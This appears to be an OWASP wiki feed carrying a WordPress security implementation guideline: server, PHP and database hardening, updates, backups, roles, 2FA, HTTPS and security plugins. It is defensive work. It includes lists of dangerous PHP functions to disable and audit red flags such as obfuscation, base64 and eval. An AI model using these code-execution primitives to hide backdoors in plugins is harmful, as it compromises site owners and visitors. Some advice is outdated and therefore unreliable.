https://wiki.owasp.org/api.php?action=feedcontributions&user=Ryan+Dewhurst&feedformat=atomOWASP - User contributions [en]2024-03-29T00:31:38ZUser contributionsMediaWiki 1.27.2https://wiki.owasp.org/index.php?title=OWASP_Wordpress_Security_Implementation_Guideline&diff=253290OWASP Wordpress Security Implementation Guideline2019-07-25T13:42:20Z<p>Ryan Dewhurst: Move WPScan section</p>
<hr />
<div>= Considerations =<br />
This project aims for a unified approach on WordPress security design and implementation. It is definitely more than a checklist, it's a guide for secure implementation and an invitation to consider and to analyze each individual case. <br />
<br />
There is a long list of recommended resources for securing aspects of the WordPress implementation. The project is aimed to offer open source or free resources instead of commercial ones. Some plugins have a free version and a paid one that offers extra functionality. In such cases, the focus of the project was on the free version.<br />
<br />
= General security =<br />
This section is meant to be just a reminder that all the other hardening measures are useless if an attacker can gain access to WordPress users’ computers. We’re not going to spend the time and effort to go into details but rather enumerate the common good practices each security conscious user should have in mind. There are plenty of good resources to help anyone accomplish security basics.<br />
<br />
== Device security ==<br />
When we talk about devices capable of accessing the WordPress administration interface we don’t just talk about computers but mobile devices as well. The following is a list of items that needs to be taken into account when securing the devices that will be accessing the WordPress instances. Some of them may refer to PCs and mobile devices, others just to one of the devices.<br />
<br />
* Password protect the device<br />
* Use strong passwords<br />
* Keep the OS updated<br />
* Encrypt the storage<br />
* Have an anti-virus installed and updated<br />
* Have a malware/spyware scanner installed and perform regular scans and updates<br />
* Have a firewall installed and configured <br />
* [http://www.cert.org/historical/tech_tips/securing-web-browser-index.cfm Secure your browser]<br />
<br />
= Infrastructure security =<br />
Before hardening the core of WordPress an implementer must consider hardening the services on which the instance will be installed. Sometimes the underlying infrastructure is not under the control of the implementer. While there are things that can be hardened on WordPress to mitigate things that are supposed to be fixed on the infrastructure side, one should always consider defense in depth. The implementer can contact the infrastructure administrator and ask for specific hardening in order to further protect the applications that will be installed on top of that, in this case WordPress. <br />
<br />
The foundation of infrastructure hardening is operating system hardening. This is a broad subject and highly dependent on the OS, the main concerns being around privileges, access control, authentication and logging. It’s a topic outside the coverage of the current project and these are things that must be covered by experienced System Administrators.<br />
<br />
WordPress can be installed on a multitude of platforms but the main focus below is on the most common components, Apache and MySQL. The general rules though apply to all supported infrastructure components. <br />
<br />
Following best design practices, the tiers of the WordPress instance should be separated. However the presentation and application layers of WordPress are bound together. Thus only one separation is possible, the one with the database. For small applications it’s not a common practice, but for larger sites this becomes a must from a security but also a performance perspective. <br />
<br />
As was the case with general security, this is just a list of things that should be performed in order to harden the infrastructure and not the means to do it. <br />
<br />
== Apache hardening ==<br />
* Update regularly<br />
* Disable directory listing<br />
* Secure the communication with the server by generating and using SSL certificates<br />
* Disable unnecessary modules<br />
** Good candidates for this are: ''userdir'', ''suexec'', ''cgi/cgid'', ''include'', ''autoindex''<br />
* Run the daemon as a separate user and group<br />
* Use ''Allow'' and ''Deny'' to restrict access to directories<br />
* Use ''mod_security'' module to secure Apache<br />
* Disable following of ''symbolic links''<br />
* Turn off server sides includes and CGI execution<br />
* Limit request size<br />
* Configure other settings like ''TimeOut'', ''MaxClients'', ''KeepAliveTimeout'', ''LimitRequestFields'', ''LimitRequestFieldSize'' in order to prevent DoS attacks<br />
* Enable and configure proper logging<br />
* Modify server banner<br />
<br />
== PHP hardening ==<br />
* Update regularly<br />
* Don’t install PHP as a CGI binary<br />
* Disable unnecessary PHP modules<br />
* Disable unused potentially dangerous PHP functions (good examples: ''exec'',''passthru'',''shell_exec'',''system'', etc.)<br />
* Log errors internally<br />
* Disable verbose error reporting on the client side<br />
* Turn off remote code execution (if it’s not needed; the core WordPress doesn’t need this functionality)<br />
* Disable magic quotes<br />
* Limit PHP access to file system<br />
* Protect from DoS<br />
** Control POST size<br />
** Limit script time execution<br />
** Limit memory usage<br />
* Consider implementing the [http://www.suhosin.org/stories/index.html Suhoshin security extension]<br />
* Hide the version of PHP in use<br />
* Hide the .php extension<br />
<br />
== MySQL hardening ==<br />
There is an entire [https://www.owasp.org/index.php/OWASP_Backend_Security_Project_MySQL_Hardening OWASP project dedicated to MySQL hardening]. The main action items are:<br />
<br />
* Update regularly<br />
* Disable or restrict remote access<br />
* Filesystem access restrictions and ACLs<br />
* Designing a chroot-jail<br />
* Encrypting network traffic (this is a must if the database layer is physically separated from the application layer)<br />
* Encrypting raw databases on filesystem level<br />
** Redundant if disk encryption is in place at the OS layer<br />
** However, by using ''dmcrypt'', one can generate an extra layer of encryption<br />
* Backup encryption<br />
* Configuration<br />
** Connectivity: maximum number of concurrent connections and related settings<br />
** Logging<br />
** Access control and privilege management<br />
** Set up root password<br />
** Rename root account<br />
** Delete unused users and databases<br />
** Remove installation history<br />
<br />
A PHP security checker is available [https://github.com/sektioneins/pcc here]. This is a one-page php file designed to analyze PHP configuration and rank the findings based on severity.<br />
<br />
'''Note on WordPress / MySQL specific hardening:''' In a typical WordPress installation the MySQL user used by WordPress has full administrative privileges on the database. This is required so when WordPress is installed the tables can be created in the database. Also, some plugins create their own tables, so such privilege is required. However, as an extra precaution you should limit the MySQL user's database privileges to just reading and writing of data. Only allow database structure alteration privileges when required, typically when:<br />
* Installing a new plugin that requires it's own table<br />
* Updating WordPress core (major version updates)<br />
* Updating a plugin that uses its own tables<br />
* Uninstalling a plugin that uses its own tables so it can delete the tables.<br />
<br />
== Remote access ==<br />
* Don’t use FTP (use sFTP where possible)<br />
* If SSH access is available, use [http://linux.die.net/man/1/scp scp] or [http://winscp.net/eng/index.php WinSCP] for file transfer <br />
* Consider using VPN or [http://www.pentest.ro/ssh-tunnels-an-alternative-to-vpn/ SSH tunnels] to the server for accessing the WordPress administrative interface<br />
<br />
= WordPress security =<br />
There are three main components of WordPress that need to be considered from a security perspective when implementing the solution.<br />
<br />
* Core – the basic default installation files that provide most of the functionality <br />
* Plugins – special written code to improve and extend the basic functionality<br />
* Theme – the presentation layer which may come with some limited extended functionality<br />
<br />
== Updates ==<br />
It is of vital importance to keep WordPress core, plugins and themes updated. Once an update is released, it needs to be applied as soon as possible to close any security holes. <br />
<br />
Functional problems with updates must be considered. It is possible that an update will break some of the functionality so a backup is recommended before updating the core. <br />
<br />
=== WordPress Core ===<br />
The WordPress core has three different types of updates:<br />
<br />
* Core development updates, known as the "bleeding edge"<br />
* Minor core updates, such as maintenance and security releases<br />
* Major core release updates<br />
<br />
Starting with version 3.7, automatic background updates were introduced by default for minor core updates releases (generally security updates). This default behavior can be overridden by editing the wp-config.php file and adding or modifying the following statement<br />
<br />
''define( 'WP_AUTO_UPDATE_CORE', true );''<br />
<br />
When set to true all updates will be enabled. Translations are updated by default with the minor core updates.<br />
<br />
=== Themes and Plugins ===<br />
The themes and plugins can be updated automatically using filters. The best place to put a filter is in a [http://codex.wordpress.org/Must_Use_Plugins must-use plugin]. WordPress doesn’t recommend putting filters in the wp-config.php file because of conflicts with other parts of the code.<br />
<br />
To enable automatic updates for themes and plugins, add the following code<br />
<br />
''add_filter( 'auto_update_plugin', '__return_true' );''<br />
<br />
''add_filter( 'auto_update_theme', '__return_true' );''<br />
<br />
== Removal of unused plugins and themes ==<br />
Depending on the server configuration, the files in the WordPress folder can be accessed from the Internet regardless of whether they are used or not. Even if a plugin is disabled, the files are still there and they are accessible from the Internet.<br />
<br />
When a new vulnerability is discovered, the attackers write scripts to look for the vulnerable files. Knowing the location of vulnerable plugins increases their chances of infiltrating a vulnerable instance. <br />
<br />
Any plugins and themes that are not actively used must be deleted. <br />
<br />
== Plugins & Themes Security ==<br />
Plugins and themes are a great addition to the functionality offered by the WordPress core. WordPress’ success is based on these elements. It’s easy to develop a new theme, add new functions with plugins. This ease of development comes with the security downside. In the rush for functionality, the developers often forget about security. Looking at the [https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wordpress CVE list for WordPress] it’s worth noticing that in the past years most of the security defects are affecting the plugins and themes and not WordPress core.<br />
<br />
Developing on top of WordPress should be regarded as a regular development job and follow a standard secure development lifecycle. Concrete action items for this chapter include source code review and penetration testing of plugins and themes.<br />
<br />
When choosing to use an already developed plugin by a 3<sup>rd</sup> party, a security audit should be performed. Good differentiators for available plugins are:<br />
<br />
* Publication in the official plugin store at https://wordpress.org/plugins/<br />
* User ratings and comments<br />
* Version number (is it a young plugin/theme or has it faced the challenges of time?)<br />
* Last update <br />
* Update frequency <br />
* Compatibility with the current version of the WordPress core<br />
<br />
=== Source code audits for Plugins & Themes ===<br />
In order to perform a source code audit, the following free tools can be used:<br />
<br />
* [http://rips-scanner.sourceforge.net/ RIPS]<br />
* [http://www.program-transformation.org/PHP/PhpSat PHP-sat]<br />
* [https://www.scovetta.com/yasca/ Yasca]<br />
* [http://resources.infosecinstitute.com/finding-bugs-in-php-using-grep/ Manual analysis using grep], [https://grepbugs.com/ GrepBugs]<br />
<br />
==== Free source code audits for Plugins on the WordPress Repository ====<br />
CodeRisk, the developers of the RIPS free scanner also run [https://coderisk.com/wp/plugins automated source code audit scans] of all the plugins on the WordPress repository. If you have a plugin on the WordPress repository, create a free account and claim ownership of your plugin on their project. As a verified plugin owner you will have access to the detailed scan results and can see all the technical vulnerability details you require to address the flaw.<br />
<br />
Things to pay extra attention during the source code audit:<br />
<br />
* Obfuscated code<br />
* BASE64 encode function<br />
* System call functions (exec, passthru, system, shell_exec, etc.)<br />
* PHP code execution (eval, assert, preg_replace, etc.)<br />
* Information disclosure functions (phpinfo, getenv, getmygid/pid/uid, etc.)<br />
* Filesystem functions (fopen, bz/gzopen, chgrp/own/mod, etc.)<br />
<br />
====WordPress Vulnerability Scanner====<br />
WPScan is a free, for non-commercial use, black box [https://wpscan.org/ WordPress vulnerability scanner] written for security professionals and blog maintainers to test the security of their sites. The WPScan CLI tool uses data from the [https://wpvulndb.com/ WPScan Vulnerability Database], which includes WordPress Core, them and plugin vulnerabilities.<br />
<br />
== Backup ==<br />
The backup process is essential. The configuration of the backup process can make the distinction between a clean and fast recovery or a loss of data and prolonged downtime.<br />
<br />
What needs to be included in the backup?<br />
<br />
* The WordPress Files<br />
** WordPress Core Installation<br />
** WordPress Plugins<br />
** WordPress Themes<br />
** Images and Files<br />
** JavaScript and PHP scripts, and other code files<br />
** Additional Files and Static Web Pages<br />
* The Database<br />
<br />
It’s easy to say that a full backup of the /public_html folder is needed. However there are situations in which this is not feasible nor enough. There are situations in which large quantities of data is generated in the public folder (statistics, temporary data, etc.) that is useless in the backup process. There’s also the situation in which configuration files are placed outside the public directory. They also need backup.<br />
<br />
The plan is to identify the files and folders that must be part of the backup process and save these in a remote location.<br />
<br />
For database backup, the mysql command line can be used or administrative interfaces like phpMyAdmin. <br />
<br />
How often should the backup be performed? It all depends on how often the instance is updated from a content perspective. If there are multiple updates a day, it’s a good idea to have a daily backup. If there’s a new article every several days, than a weekly or monthly backup is the way to go.<br />
<br />
It’s a good practice to keep multiple backups and have them time stamped. This is because a breach might not be noticed immediately and a clean recovery can only be performed from a backup which is several iterations old. <br />
<br />
Verifying that the backup is functional is part of the process. A backup that does not allow quick and full recovery is useless. The idea is to have a clean server and perform a full recovery from the backup, then check all the functionality and make sure nothing is missing.<br />
<br />
=== Automation ===<br />
The steps above are manual and labor intensive. There is a full list of plugins that can help this process: https://wordpress.org/plugins/tags/backup<br />
<br />
The one free alternative offering full backup capabilities that stands out of the list is [https://wordpress.org/plugins/backwpup/ BackWPup]. The free version can be used to save your complete installation including /wp-content/ and push it to an external Backup Service, like Dropbox, S3, FTP (not a good idea) and many more. <br />
<br />
From a security perspective, it’s worth noticing that an attacker who compromised the installation may be able to retrieve credentials and access the remote location of the backups, thus being able to manipulate or delete them. As a good precaution, on the remote side where the backups are stored, an independent process should take the backups and move them to a location inaccessible from the WordPress installation.<br />
<br />
== User roles and proper usage ==<br />
Understanding the roles and properly assigning them to users is essential in the segregation of duties process. <br />
<br />
The WordPress roles are:<br />
<br />
* Super Admin – somebody with access to the site network administration features and all other features<br />
* Administrator – somebody who has access to all the administration features within a single site<br />
* Editor – somebody who can publish and manage posts including the posts of other users<br />
* Author – somebody who can publish and manage their own posts<br />
* Contributor – somebody who can write and manage their own posts but cannot publish them<br />
* Subscriber – somebody who can only manage their profile<br />
<br />
The least privilege principle must be considered when assigning roles. <br />
<br />
A full list of privileges and a comparison between roles is available at http://codex.wordpress.org/Roles_and_Capabilities. <br />
<br />
Supporting plugins:<br />
<br />
* [https://wordpress.org/plugins/members/ Members Plugin]<br />
* [https://wordpress.org/plugins/role-scoper/ Role Scoper Plugin]<br />
* [http://wordpress.org/extend/plugins/user-access-manager/ User Access Manager]<br />
* [http://wordpress.org/extend/plugins/advanced-access-manager/ Advanced Access Manager]<br />
* [http://wordpress.org/extend/plugins/user-role-editor/ User Role Editor]<br />
<br />
== Restrict the access to the admin interface ==<br />
Restricting the access to the admin interface should be considered as no regular user is in need of access to this area. For a site with few users it makes sense to whitelist their IP addresses. Additionally, the access can be restricted only to the localhost and have the users VPN in or create a tunnel to the server (if SSH is enabled) and then access the admin interface.<br />
<br />
To restrict the access to the wp-admin folder, a file called .htaccess needs to be created in that folder. The content of the file should be:<br />
<br />
''Order Deny,Allow''<br />
<br />
''Deny from all''<br />
<br />
''Allow from 127.0.0.1''<br />
<br />
Multiple IP addresses separated by whitespaces can be added and the use of wildcards (*) is permitted.<br />
<br />
== Prevent brute-forcing ==<br />
Brute-forcing is the easy way in for an attacker. As discussed in the General Security chapter, a prerequisite for preventing bruteforcing is to have [https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Password_Complexity strong passwords]. Apart from that, an additional layer of protection can be added in the form of [http://en.wikipedia.org/wiki/CAPTCHA CAPTCHA]. <br />
<br />
One good plugin candidate is [https://wordpress.org/plugins/google-captcha/ Google Captcha (reCAPTCHA)]. The advantage of this plugin is that it can be used to add the extra layer of protection on other areas as well (like registration and comments).<br />
<br />
CAPTCHA is not a perfect solution by any means. There are services offering real-time CAPTCHA solving for a few cents per challenge. However it takes seconds to solve a CAPTCHA even for a good service like this, thus this sort of attack becomes unfeasible.<br />
<br />
Another preventive measure is to lock-out accounts after a series of failed attempts. There is no plugin at the moment that can lock a user after several failed attempts for a period of time, there are plugins blocking IP addresses that are brute-forcing the login mechanism. This approach is not the best when dealing with distributed attacks.<br />
<br />
== Implement two factor authentication ==<br />
To add another layer of security on the authentication mechanism, two factor authentication can be enabled. Two factor authentication is a method of securing accounts requiring that you not only know something (a password) to log in but also that you possess something (your mobile device). The benefit of this approach to security is that even if someone guesses your password, they need to have also stolen your possession in order to break into your account.<br />
<br />
Supporting plugins: <br />
* Clef (unfortunately the product was retired in April 2017)<br />
* Google Authenticator<br />
* MiniOrange and other 2FA plugins<br />
https://en-gb.wordpress.org/plugins/tags/2fa/<br />
<br />
== Remove or change the default administrator account ==<br />
There are two main reasons for creating a new administrator or modifying the old one:<br />
<br />
* After the installation the default username is “admin”; an attacker trying to brute-force his way in will try default usernames<br />
* The default id of the admin account is 1; an attacker who discovers a SQL injection is will try to update the user with id = 1<br />
<br />
Both tasks can be performed manually in the database without the need to delete the admin account or can be performed in the administration User Interface. Create a new administrator, log in with the new credentials and delete the default one.<br />
<br />
== Disable user registration if not needed ==<br />
If user management is performed manually or through integration with other user management systems, there is no need for this functionality to be enabled in WordPress.<br />
<br />
To disable user registration, log in as an administrator, go to '''Settings -> General''' and make sure the '''“Anyone can register”''' box is unchecked.<br />
<br />
== Change the database prefix ==<br />
In case a 0-day SQL injection vulnerability is discovered, an attacker will try to exploit the known tables from a default WordPress installation. To prevent this from happening, the default prefix of the tables needs to be changed. This can be performed in several ways:<br />
<br />
* During the installation process<br />
* Manually via ''mysql'' command line or ''phpMyAdmin'' for all the tables; after this, the wp-config.php file must be configured to reflect the changes ($table_prefix = "ves1uaq3_";)<br />
* With a plugin ([https://wordpress.org/plugins/db-prefix-change/ Change DB Prefix])<br />
<br />
== Control comments ==<br />
WordPress was initially a blogging platform so the ability to add comments was part of the success story. Things changed with the shift of WordPress towards a CMS so comments might not be necessary in all instances. There are several things that need to be considered when dealing with this topic:<br />
<br />
* Are comments needed? If not, they should be disabled. Log in as administrator. For new posts go to '''Settings -> Discussion''' and uncheck "'''Allow people to post comments on new articles'''". For existing posts, go to '''Posts''', select all of them, '''Bulk Actions -> Edit''' and choose “'''do not allow'''” near '''Comments''' before hitting '''Update posts'''.<br />
* If comments are required, who should be able to post them? If only registered users should be allowed to add comments, go to '''Settings -> Discussion''' and check the “'''Users must be registered and logged in to comment'''” box.<br />
* Should comments be reviewed before publishing? If so, the “'''Comment must be manually approved'''” box must be checked.<br />
* If comments are not reviewed before publishing, using an anti-spam plugin like the default [https://wordpress.org/plugins/akismet/ Akismet] is advised <br />
<br />
As a general rule of thumb, all the options under '''Settings -> Discussion '''should be carefully reviewed. <br />
<br />
== Check file permissions ==<br />
Permissions on files and directories determine who is allowed to read, write and execute them. Permission settings will vary from situation to situation and between shared hosting and dedicated hosting.<br />
<br />
Following is a list of desired permissions on sensitive items and fallback options:<br />
<br />
* wp-config.php<br />
** Desired: 400<br />
** Fallback: 440, 600, 640<br />
* uploads folder<br />
** Desired: 755<br />
** Fallback: 766, 777 (not recommended)<br />
* .htaccess files<br />
** Desired: 400<br />
** Fallback: 440, 444, 600, 640<br />
<br />
== Delete readme.html and install.php ==<br />
The readme.html file may reveal sensitive information and is not needed from a functional perspective. <br />
<br />
The install.php is a residue of the installation process and even though it does not allow it to be restarted it’s not needed and should be removed.<br />
<br />
The license.txt reveals the year of last Wordpress update - a fact that attackers can use to scan for outdated WordPress installations.<br />
<br />
Action item:<br />
<br />
* Delete the /<WordPress_root>/readme.html /<WordPress_root>/license.txt and /<WordPress_root>/wp-admin/install.php files<br />
<br />
== Add blank index.php files where needed ==<br />
Especially in shared environments where the settings of the web server are outside the control of the WordPress implementer, directory listing might be enabled. To add an extra layer of security, blank index.php files should be added to the folders that don’t have indexes in order to prevent browsing of the resources. The main folders that need to be considered are:<br />
<br />
* wp-includes<br />
* wp-content<br />
* wp-content/plugins<br />
* wp-content/themes<br />
* wp-content/uploads<br />
<br />
== Move wp-config.php file outside the web root folder ==<br />
The wp-config.php file is a very important configuration file. It contains a lot of sensitive information about your WordPress site, like your database information for example.<br />
<br />
WordPress will automatically look for this file in the folder above the WordPress root folder if it does not exist in the root folder. Moving this file out of the public_html folder means the file will not be accessible from the Internet.<br />
<br />
== Create secret keys ==<br />
Starting with the release of WordPress 2.6, a new set of security features for passwords and password hashing and cookie security is included. This feature works without doing anything, but it's not particularly powerful without some extra steps. In order to greatly increase the security of the WordPress installation, secret keys must be set up. This should be part of the standard installation process. Whenever there’s suspicion that the secret keys have been compromised, the administrator must change them. Changing the secret keys will invalidate all sessions so users will need to re-authenticate. <br />
<br />
Setting up or changing secret keys can be done by adding or editing the following lines to the wp-config.php file, right after the other define statements:<br />
<br />
''define('AUTH_KEY', 'put your unique phrase here');''<br />
<br />
''define('SECURE_AUTH_KEY', 'put your unique phrase here');''<br />
<br />
''define('LOGGED_IN_KEY', 'put your unique phrase here');''<br />
<br />
''define('NONCE_KEY', 'put your unique phrase here');''<br />
<br />
You don't have to remember the keys, just make them long, random and complicated -- or better yet, use the [https://api.wordpress.org/secret-key/1.1/salt/ online generator].<br />
<br />
== Enforce transport layer encryption (HTTPS) for all site pages ==<br />
Regardless of what information you have stored on your website, enforce transport layer encryption. It should be enforced on both the front end for the visitors, and also on the the WordPress admin pages for the logged in users. <br />
<br />
=== Free SSL/TLS Certificate ===<br />
You can get a free SSL/TLS certificate for your WordPress site from [https://letsencrypt.org/ Let's Encrypt]. All the major WordPress web hosts support Let's Encrypt.<br />
<br />
=== Switching your WordPress to HTTPS ===<br />
If you already have a WordPress site hosted on HTTP, you can switch to HTTPS by following one of the methods below.<br />
<br />
==== The Manual Method ====<br />
# Install the SSL/TLS certificate.<br />
# Login to your WordPress and navigate to the '''Settings''' >> '''General''' page.<br />
# Change the protocol from ''HTTP'' to ''HTTPS'' in the ''Website Address (URL)'' and ''Site Address (URL)'' settings.<br />
# Save the settings.<br />
# Use the tool [https://interconnectit.com/products/search-and-replace-for-wordpress-databases/ Database Search and Replace Script in PHP] to replace the protocol of all the links pointing to your own website in your database from ''HTTP'' to ''HTTPS''.<br />
# Configure the web server to redirect all the HTTP traffic to HTTPS as per the instructions below.<br />
<br />
===== Redirecting HTTP to HTTPS traffic on Apache =====<br />
Add the below code to your .htaccess file.<br />
<IfModule mod_rewrite.c><br />
RewriteEngine On<br />
RewriteCond %{HTTPS} off<br />
RewriteRule ^(.*)$ <nowiki>https://%{HTTP_HOST}%{REQUEST_URI}</nowiki><br />
[L,R=301]<br />
</IfModule><br />
<br />
===== Redirecting HTTP to HTTPS traffic on Nginx =====<br />
Add the below code to your Nginx configuration file and change ''mysite.com'' with the domain of your WordPress site.<br />
server {<br />
listen 80;<br />
server_name mysite.com www.mysite.com;<br />
return 301 <nowiki>https://mysite.com$request_uri</nowiki>;<br />
}<br />
<br />
==== The Plugin Method ====<br />
Alternatively, you can also use the plugin [https://wordpress.org/plugins/really-simple-ssl/ Really Simple SSL] to switch your WordPress to HTTPS.<br />
<br />
== Use a Web Application Firewall (WAF) ==<br />
A WAF should be in place at the web server layer. Because that is not always accessible to the implementer, a WAF plugin can be used to add this layer of protection. You can use the free plugin [https://wordpress.org/plugins/block-bad-queries/ BBQ: Block Bad Queries] as a WAF for your WordPress site.<br />
<br />
== Security plugins ==<br />
This section is a list of security plugins and a short description of their functionality. As previously mentioned, the focus is on free plugins.<br />
<br />
* [https://wordpress.org/plugins/wpscan/ WPScan WordPress Security Plugin] - Uses the WPScan Vulnerability Database to scan sites for known WordPress core, theme and plugin vulnerabilities.<br />
* [https://wordpress.org/plugins/better-wp-security/ iThemes Security] – iThemes Security (formerly Better WP Security) gives you over 30+ ways to secure and protect your WordPress site. In its free version it can obscure, detect, protect and recover a WordPress installation<br />
* [https://wordpress.org/plugins/bulletproof-security/ BulletProof Security] – the free version offers:<br />
** .htaccess Website Security Protection (Firewalls)<br />
** Login Security & Monitoring<br />
** DB Backup<br />
** DB Backup Logging<br />
** DB Table Prefix Changer<br />
** Security Logging<br />
** HTTP Error Logging<br />
** FrontEnd/BackEnd Maintenance Mode<br />
* [https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/ All In One WP Security & Firewall]<br />
** User Account/Login/Registration Security<br />
** Database & File System Security<br />
** htaccess and wp-config.php File Backup and Restore<br />
** Blacklist Functionality<br />
** Firewall Functionality<br />
** Brute-force login attack prevention<br />
** Security Scanner<br />
* [https://wordpress.org/plugins/sucuri-scanner/ Sucuri Security - Auditing, Malware Scanner and Security Hardening]<br />
** Security Activity Auditing<br />
** File Integrity Monitoring<br />
** Remote Malware Scanning<br />
** Blacklist Monitoring<br />
** Effective Security Hardening<br />
** Post-Hack Security Actions<br />
** Security Notifications<br />
** Website Firewall (add on)<br />
*[https://en-gb.wordpress.org/plugins/wordfence/ Wordfence Security Plugin] <br />
**Web Application Firewall<br />
**Threat Defence Feed<br />
**Real-time blocking of known attackers<br />
**Rate-limiting<br />
**Login Security<br />
**File integrity monitoring and scanning<br />
**Real-time Monitoring<br />
<br />
== Disable the Plugin and Theme Editor ==<br />
Occasionally you may wish to disable the plugin or theme editor to prevent overzealous users from being able to edit sensitive files and potentially crash the site. Disabling these also provides an additional layer of security if a hacker gains access to a well-privileged user account. <br />
<br />
Open your wp-config.php file and add the following constant:<br />
<br />
''define('DISALLOW_FILE_EDIT',true);''<br />
<br />
== Keep a WordPress Activity Log ==<br />
Logging is very important, especially on multi user platforms such as WordPress. The [[:Category:OWASP Top Ten Project|OWASP Top 10 project]] lists insufficient logging & monitoring as one of the most common security flaws in web applications.<br />
<br />
By default WordPress does not keep an activity log (audit log) of what logged-in users do on the website. So you can use a plugin to keep a record of the activity of logged-in users. Some of the security plugins mentioned in the previous section have some logging capabilities, though they are very basic.<br />
<br />
Below are some of the most popular WordPress activity log plugins you can work with if you want better coverage:<br />
<br />
[https://www.wpsecurityauditlog.com/ WP Security Audit Log]<br />
* comprehensive WordPress activity log solution<br />
* supports WordPress multisite networks<br />
* most advanced coverage in terms of what it can keep a log of<br />
* out of the box support for popular WordPress plugins such as WooCommerce, bbPress and Advanced Custom Fields (ACF).<br />
[http://wp-stream.com/ WP Stream]<br />
* easy to use<br />
* ideal for users who may not need detailed activity log<br />
* WP-CLI command interface for querying records<br />
* integrates with Slack<br />
[https://wordpress.org/plugins/simple-history/ Simple History]<br />
* ideal for users who may not need detailed activity log<br />
* has Limit Login Attempts included<br />
* activity log is available via a RSS feed<br />
* easy to integrate with<br />
<br />
= Large-scale integration =<br />
Implementing one WordPress site and maintaining it is a doable job for an administrator. In large corporate environments there may be hundreds of instances that need management, configuration and maintenance. This can easily become an unmanageable situation. When dealing with large number of instances, a centralized approach is needed.<br />
<br />
== Creating a standard image ==<br />
The first step is to create a standard WordPress installation with all the security configuration and plugins in place. This should be a blank installation with no data that can be easily replicated when a new instance needs to be created. <br />
<br />
A process for new instances must be in place and approach at least the following subjects:<br />
<br />
* General configuration<br />
* Database connectivity <br />
* Setting the administrator account<br />
<br />
== LDAP integration & Single Sign On ==<br />
User management for large WordPress sites can be a hassle. In corporate environments users are in general centrally managed and assigned to different groups. WordPress can make use of this already established situation. Whether it’s [http://en.wikipedia.org/wiki/Active_Directory Active Directory] or other LDAP compatible service, this establishment is already used in the organization trying to implement WordPress. It’s easy to set up groups based on WordPress roles and assign users to different groups, based on their required level of access. Once the integration is achieved, one can go further towards an elegant solution by implementing Single Sign On. <br />
<br />
Supporting plugins:<br />
<br />
* [https://wordpress.org/plugins/active-directory-integration/ Active Directory Integration]<br />
* [https://wordpress.org/support/plugin/active-directory-sso Active Directory SSO]<br />
* [https://wordpress.org/plugins/simple-ldap-login/ Simple LDAP Login]<br />
<br />
== Multisites ==<br />
A large environment requires multiple instances of WordPress. Managing each individual instance can become impossible for a single person or a small team. This is where a built-in feature of WordPress comes in handy, [http://codex.wordpress.org/Create_A_Network multisite or network of sites].<br />
<br />
A multisite network can be very similar to a personal version of WordPress.com. End users can create their own sites on demand, just like end users of WordPress.com can create blogs on demand. If there’s no need to allow end users to create their own sites on demand, the administrator of the network can create a multisite network in which only he can add new sites.<br />
<br />
A multisite network is a collection of sites that all share the same WordPress installation. They can also share plugins and themes. The individual sites in the network are virtual sites in the sense that they do not have their own directories on your server, although they do have separate directories for media uploads within the shared installation, and they do have separate tables in the database.<br />
<br />
WordPress does a good job in providing the necessary documentation for:<br />
<br />
* [http://codex.wordpress.org/Create_A_Network Installation]<br />
* [http://codex.wordpress.org/Multisite_Network_Administration Administration]<br />
* [http://codex.wordpress.org/Debugging_a_WordPress_Network Debugging]<br />
* [http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite Migration]<br />
<br />
The benefit of the multisite feature is centralized management of security. Plugins can be checked once for security defects and when a stable and secure version is available it can be pushed to all the sites in the same time.<br />
<br />
This built-in solution might not always be the best choice. For example, all the plugins are shared between different sites and the administrators of those sites choose which plugins to enable and which to disable.<br />
<br />
== Unified management of multiple installations ==<br />
If multiple separate instances of WordPress need to be managed centrally, there are several solutions (most of them have at least some form of commercial addons) that can accomplish the task:<br />
<br />
* [http://infinitewp.com/ InfiniteWP] is a free, self-hosted multiple WordPress management platform that simplifies WordPress management tasks into simple clicks. Features:<br />
** One master login<br />
** One click updates<br />
** Instant backup & restore<br />
** Plugins & themes management<br />
* [https://mainwp.com/ MainWP] is an open source, free and self-hosted WordPress management platform similar to InfiniteWP.<br />
* [https://managewp.com/ ManageWP]<br />
* [https://wpremote.com/ WPRemote] lets administrators monitor an unlimited number of WordPress websites. Through the WP Remote dashboard they can update WordPress and update plugins and themes. A snapshot (backup) of the websites can be downloaded from the interface<br />
<br />
<br />
= Resources =<br />
The project started with a discussion between [https://www.linkedin.com/in/dancatalinvasile Dan Vasile] (the initiator) and [https://www.linkedin.com/in/andersvinther Anders Vinther] who has already published [http://www.wpsecuritychecklist.com/ a guide] about secure WordPress implementation. Based on the information there, a part of the skeleton and content of the current project was created.<br />
<br />
== Browser security ==<br />
* http://www.cert.org/historical/tech_tips/securing-web-browser-index.cfm<br />
<br />
== Apache hardening ==<br />
* http://httpd.apache.org/docs/current/misc/security_tips.html<br />
* http://www.tecmint.com/apache-security-tips/<br />
* https://wiki.debian.org/Apache/Hardening<br />
<br />
== PHP hardening ==<br />
* http://php.net/manual/en/security.php<br />
* http://www.cyberciti.biz/tips/php-security-best-practices-tutorial.html<br />
* http://www.suhosin.org/stories/index.html<br />
<br />
== MySQL hardening ==<br />
* https://www.owasp.org/index.php/OWASP_Backend_Security_Project_MySQL_Hardening<br />
* http://www.greensql.com/content/mysql-security-best-practices-hardening-mysql-tips<br />
<br />
== Wordpress ==<br />
* http://codex.wordpress.org/Configuring_Automatic_Background_Updates<br />
* http://stackoverflow.com/questions/3115559/exploitable-php-functions<br />
* http://codex.wordpress.org/WordPress_Backups <br />
* http://codex.wordpress.org/Roles_and_Capabilities<br />
* http://en.support.wordpress.com/security/two-step-authentication/ <br />
* http://codex.wordpress.org/Create_A_Network <br />
* http://codex.wordpress.org/Before_You_Create_A_Network <br />
* http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite <br />
* http://codex.wordpress.org/Editing_wp-config.php<br />
<br />
=Project About=<br />
{{:Projects/OWASP_Wordpress_Security_Checklist_Project}} <br />
<br />
[[Category:OWASP Project]]<br />
[[Category:WordPress]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=OWASP_Wordpress_Security_Implementation_Guideline&diff=253289OWASP Wordpress Security Implementation Guideline2019-07-25T13:41:18Z<p>Ryan Dewhurst: Use correct heading</p>
<hr />
<div>= Considerations =<br />
